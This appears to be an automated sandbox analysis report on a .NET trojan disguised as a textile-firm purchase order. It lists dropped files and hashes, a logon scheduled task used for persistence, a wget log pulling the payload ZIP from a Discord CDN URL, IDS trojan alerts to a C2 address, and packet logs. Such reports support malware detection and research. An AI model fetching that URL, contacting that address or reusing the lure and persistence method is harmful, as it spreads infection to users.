Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmp7811.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\update_232209.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1646
Entropy (8bit):	5.200681808329145
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBwtn:cbh47TlNQ//rydbz9I3YODOLNdq3k
MD5:	FDDB9210C766590C80894043BACE3E72
SHA1:	C98412BE04D95C0BB2774C68B6DB9933E2FCE5C5
SHA-256:	4F832C2436E208940857E9526A700B438D747CD992CE5A53316048E53F0A68D6
SHA-512:	C4F596E6DBDD70CD694EFF313F69134F3939394D776DC06D8B0E02AE4F9935627D55DCC664C835B9D3D293E60912BEAEFFA0D1C86104A12C0719B0E75D747371
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\update_232209.exe (copy)

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1287168
Entropy (8bit):	7.352937383867196
Encrypted:	false
SSDEEP:	24576:AU4ITsIBMNjnNNOhAe/S0gIAtPN6JAKUufhSWOJ+QfOCJKzA:AU4XIrUufwWKszA
MD5:	59E7D6D4CC9667A0D6E06DA8131CDD4D
SHA1:	EA488C8A5F8E37A13FA69F9628078C4640F1F835
SHA-256:	948429F898688A463C57B4DE90A036CE3582B5368D97736FC94776D9C5E8D0F6
SHA-512:	20D38B0392482A5B78B025721ED433AA706AF9C19147AB4B73F0C30EDF8476F1778C97A7111774EDF51CC113097991C197C096389AFAB19D65C2CB9C65D74730
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c..............P.............>0... ...@....@.. ....................................@................................../..K....@.............................../............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.reloc..............................@..B................ 0......H........................................................................0..........8........E........d...8......(....(....8........E........8....(7... ....(....9....&8............ ....(....9....& ....8.....(.....o.... ....(....9t...&8j.....8x............B^.......0.............(....8....8........E....K...>...<...8F......(.... .....:....&8.......(.... .....:....& ....8........(....8.......(.... ....8....v8.......(....o....(....8......&~..........~.....:........(.....:...

C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1287168
Entropy (8bit):	7.352937383867196
Encrypted:	false
SSDEEP:	24576:AU4ITsIBMNjnNNOhAe/S0gIAtPN6JAKUufhSWOJ+QfOCJKzA:AU4XIrUufwWKszA
MD5:	59E7D6D4CC9667A0D6E06DA8131CDD4D
SHA1:	EA488C8A5F8E37A13FA69F9628078C4640F1F835
SHA-256:	948429F898688A463C57B4DE90A036CE3582B5368D97736FC94776D9C5E8D0F6
SHA-512:	20D38B0392482A5B78B025721ED433AA706AF9C19147AB4B73F0C30EDF8476F1778C97A7111774EDF51CC113097991C197C096389AFAB19D65C2CB9C65D74730
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c..............P.............>0... ...@....@.. ....................................@................................../..K....@.............................../............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.reloc..............................@..B................ 0......H........................................................................0..........8........E........d...8......(....(....8........E........8....(7... ....(....9....&8............ ....(....9....& ....8.....(.....o.... ....(....9t...&8j.....8x............B^.......0.............(....8....8........E....K...>...<...8F......(.... .....:....&8.......(.... .....:....& ....8........(....8.......(.... ....8....v8.......(....o....(....8......&~..........~.....:........(.....:...

C:\Users\user\Desktop\cmdline.out

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	2045
Entropy (8bit):	3.486999634924232
Encrypted:	false
SSDEEP:	24:NqFxM1mNdixePgw2iADZf9ZQv0dhO/EiaG:UjQ+2xf9ZQvZEnG
MD5:	0A924F2D059222D81BDEE6D381ED9003
SHA1:	D7A8508CD2286837DF4E09248E9EC1CC1A57F878
SHA-256:	035C621735FFE0F9EB96B32CE84647CB9961BFA5501F4CC9E96F3F195FDED977
SHA-512:	92167B6B8251C60EB0720CB29193BF00347F12226B087F4D33E5854BEA0C6CA0E75F338FD20DC28F92CD205CA4A2CA51ACE86C9ADB70A13B4B00154C8A88B335
Malicious:	false
Reputation:	unknown
Preview:	--2023-02-22 09:42:07-- https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip..Resolving cdn.discordapp.com (cdn.discordapp.com)... 162.159.135.233, 162.159.134.233, 162.159.129.233, .....Connecting to cdn.discordapp.com (cdn.discordapp.com)\|162.159.135.233\|:443... connected...HTTP request sent, awaiting response... 200 OK..Length: 946178 (924K) [application/zip]..Saving to: 'C:/Users/user/Desktop/download/REVISED_PO.zip'.... 0K .......... .......... .......... .......... .......... 5% 144K 6s.. 50K .......... .......... .......... .......... .......... 10% 1.44M 3s.. 100K .......... .......... .......... .......... .......... 16% 621K 2s.. 150K .......... .......... .......... .......... .......... 21% 1.66M 2s.. 200K .......... .......... .......... .......... .......... 27% 1.52M 1s.. 250K .......... .......... .......... .......... .......... 32% 1.24M 1s.. 300K .......... .......... .......... .......... .......... 37% 2

C:\Users\user\Desktop\download\REVISED_PO.zip

Download File

Process:	C:\Windows\SysWOW64\wget.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	946178
Entropy (8bit):	7.993011640590584
Encrypted:	true
SSDEEP:	12288:27BQjOrNNxMfj+tDBgjrk62MAm6Q6/W865wKqZs7FvZb3ezaeE84iJ2PBLd15J3c:27BQ6xn6+tVf6JAq6u9p+EoJwb1oV
MD5:	71914786E393E822A40A2382F53C3671
SHA1:	0CF191A967608C443DF099121C3D86B3AF48A51B
SHA-256:	138C652F62A1DFF14BCA2CB982F87285A4F35273B5851A9835D000A6655DC664
SHA-512:	61FF8A905CE8F9F958014891659AD7A0D2BDF5A79624CD3471FD763823AE6C202E8C497B3E69AF3D56DE4475756EC35D536641F17948D9B19B11500209D67B8F
Malicious:	false
Reputation:	unknown
Preview:	PK........G VV.`.n......N...PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.[.x.U.>.....!l.....D.v.......eQPQ.D...A....... .=F.qt\|.<.Gq...q.\......q.eI..;..uoU...\|/..]u...g.K..&/.......=G......"...oCk[n..\h..n.g.._.I..\pY...jk.s...3sk.j.C....,}......ty..F42..'n.}......!)!Z...A.\|....t..k..3.De.N.]s#Q;..}./...O.....hq....YJ..k5.u>....q.B.c!?..{..3}..........)....e`.....wYI.]....L.4....... .....5/`.S>.&L.WG$&XR.}....V.a...T..5$c..]\|..D...]A........i...D....1.t......i>.I~..f+.V..........n..........aq......;..zw.!S..K...$.+.p.).@..=..J..!3....3.......<..H....r....DS..(..3....p..".Q......q.J`1.....J.......Y`^YS(A.Q...jb...!r..E...s..sT.a......E..Sn.Y.bN.....[.u..>ZdL..>....\|..'..h......}._..u5_S....Q.1,.l.S..X.G._..+`...?O.W.c.......i.?&.:..H#BZ'....v,p=;EZ....c"7F.G..=....{/4..H...)..F8. ....u.U.\|..d ..O....#.st.."........'c..{..=d.....K!.X....FF....t.T..u...L.&z.......w..2.qs...02z.k,89..J...6..F.

C:\Users\user\Desktop\extract\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	407776
Entropy (8bit):	6.080910017085125
Encrypted:	false
SSDEEP:	6144:/+BWmtpZQYS2PjCLfjSCpkALDUbr0tJ0nzbWk:WPw2PjCLe3a6Q70zbR
MD5:	F75FE8D06448D07720D5456F2A327F08
SHA1:	DBA5D60848A7C24CE837225709D9E23690BB5CB3
SHA-256:	977998AEC486395EABA6CE5661648425A1A181CE18C2C87C6288AF62B87D5ECA
SHA-512:	EB05696F92881A698B7DEF0F8852286212A5EB235A2FF8A41460DEDBC6AE1964BFBEF613D3BEC736DF66525BF6E5A6C95FF5E0A71C904FA70B5C6675E2275A34
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:Q.P...........!..................... ... ....... .......................`............@.................................\...O.... ..0................>...@......$................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H.......`e..............c..X...P .......................................R..p..4j../ux..;....B.6z.R...K.KT....i.r.p>.m~.p.?YQ.~16~v....J.h.}..k.......&...E....p..Ix..t;.uT7Ph..(.Rv:...y..qp...dX3...bu..{...."..}....V.(i.....(......}....2.{....oj...2.{....ok...B..(....&..(.......0...........oj........YE....{...............{...f...............f.......A...A...A...A...1...A...V...8<....t......{.....om...ol....or.....+U..om.....{.....o....oj...on.....o....o{...t.....o....o}.

C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1287168
Entropy (8bit):	7.352937383867196
Encrypted:	false
SSDEEP:	24576:AU4ITsIBMNjnNNOhAe/S0gIAtPN6JAKUufhSWOJ+QfOCJKzA:AU4XIrUufwWKszA
MD5:	59E7D6D4CC9667A0D6E06DA8131CDD4D
SHA1:	EA488C8A5F8E37A13FA69F9628078C4640F1F835
SHA-256:	948429F898688A463C57B4DE90A036CE3582B5368D97736FC94776D9C5E8D0F6
SHA-512:	20D38B0392482A5B78B025721ED433AA706AF9C19147AB4B73F0C30EDF8476F1778C97A7111774EDF51CC113097991C197C096389AFAB19D65C2CB9C65D74730
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c..............P.............>0... ...@....@.. ....................................@................................../..K....@.............................../............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@......................@..@.reloc..............................@..B................ 0......H........................................................................0..........8........E........d...8......(....(....8........E........8....(7... ....(....9....&8............ ....(....9....& ....8.....(.....o.... ....(....9t...&8j.....8x............B^.......0.............(....8....8........E....K...>...<...8F......(.... .....:....&8.......(.... .....:....& ....8........(....8.......(.... ....8....v8.......(....o....(....8......&~..........~.....:........(.....:...

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	583
Entropy (8bit):	5.138839201064661
Encrypted:	false
SSDEEP:	12:pMd1DiIiRwKdTGCSkpFy+CSk7MH0yMHs+JA1tNez:piWI4wKdTGLuXL0MH0yMHs+JAvM
MD5:	48A879A666E47D3DE17A90B6AE910699
SHA1:	D3D3D8AE18A16267D4B9CB222DAB79A7E1865EAE
SHA-256:	71A111ECF0C947D6180FCF3234EA1AA200DD62EDC2FD1A98137A0E218FC05940
SHA-512:	3D0F397C2511E390F35CB5BAD308758655E853768849C81006A2C25C4894CB3E13F6216C0F04B50B9B8ADE21D427019C7336BE4B68C867F3975740ED1B0B711A
Malicious:	false
Reputation:	unknown
Preview:	..7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30....Scanning the drive for archives:.. 0M Scan C:\Users\user\Desktop\download\. .1 file, 946178 bytes (925 KiB)....Extracting archive: C:\Users\user\Desktop\download\REVISED_PO.zip..--..Path = C:\Users\user\Desktop\download\REVISED_PO.zip..Type = zip..Physical Size = 946178..Comment = Please find the PO 47187856_PDF Saurer Textile Solutions Private Limited and share PI with Bank details.... 0%. .Everything is Ok....Size: 1287168..Compressed: 946178..

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.389.45.67.249706802022818 02/22/23-09:43:20.754674	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49706	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249713802022818 02/22/23-09:43:42.586040	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49713	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249729802022818 02/22/23-09:44:19.763373	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49729	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249715802022818 02/22/23-09:43:53.926118	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49715	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249704802022818 02/22/23-09:43:03.216939	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49704	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249710802022818 02/22/23-09:43:30.660160	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49710	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249723802022818 02/22/23-09:44:12.906499	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49723	80	192.168.2.3	89.45.67.2

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 22, 2023 09:42:08.466903925 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.466984987 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.467129946 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.470032930 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.470077991 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.522138119 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.522316933 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.547487020 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.547539949 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.548646927 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.551601887 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.551644087 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610208988 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610409975 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610551119 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610554934 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.610589981 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610651970 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.610665083 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610853910 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.610971928 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611037016 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.611058950 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611120939 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.611133099 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611267090 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611344099 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.611357927 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611438036 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.611506939 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.611521959 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612032890 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612123013 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.612123966 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612153053 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612293005 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.612323046 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612842083 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612927914 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.612934113 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.612960100 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.613015890 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.613575935 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.613811016 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.613899946 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.614017010 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.614041090 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.614149094 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.614355087 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627543926 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627635002 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627669096 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.627720118 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627790928 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.627811909 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627887011 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627948999 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.627963066 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.627985001 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.628043890 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.628365040 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.628496885 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.628566980 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.628588915 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.629177094 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.629261971 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.629281044 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.629435062 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.629503965 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.629519939 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.630192041 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.630261898 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.630279064 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.631020069 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.631117105 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.631124973 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.631145954 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.631243944 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.631854057 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.631967068 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.631983042 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.632045984 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.632630110 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.632720947 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.633447886 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.633538008 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.634164095 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.634269953 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.634270906 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.634299040 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.634341955 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.635101080 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.635345936 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.635494947 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.636110067 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.636218071 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.636842012 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.636961937 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.644967079 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.645091057 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.645178080 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.645314932 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.645389080 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.645940065 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.646049023 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.646176100 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.646176100 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.646203041 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.647052050 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.647183895 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.647208929 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.647291899 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.648082018 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.648245096 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.648338079 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.648338079 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.648365021 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.648499012 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.648591042 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.648591042 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.648633957 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.649300098 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.649405956 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.649430037 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.649492979 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.650048971 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.650151014 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.650213957 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.650445938 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.651002884 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.651112080 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.651793957 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.651916027 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.651987076 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.652076006 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.652806997 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.652909994 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.653489113 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.653593063 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.653609037 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.653635979 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.653687000 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.654344082 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.654419899 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.654419899 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.654449940 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.654504061 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.654613018 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.654630899 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.654697895 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.655361891 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.655478001 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.656017065 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.656107903 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.656128883 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.656155109 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.656210899 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.657010078 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.657089949 CET	49696	443	192.168.2.3	162.159.135.233
Feb 22, 2023 09:42:08.657114983 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.657143116 CET	443	49696	162.159.135.233	192.168.2.3
Feb 22, 2023 09:42:08.657176971 CET	49696	443	192.168.2.3	162.159.135.233
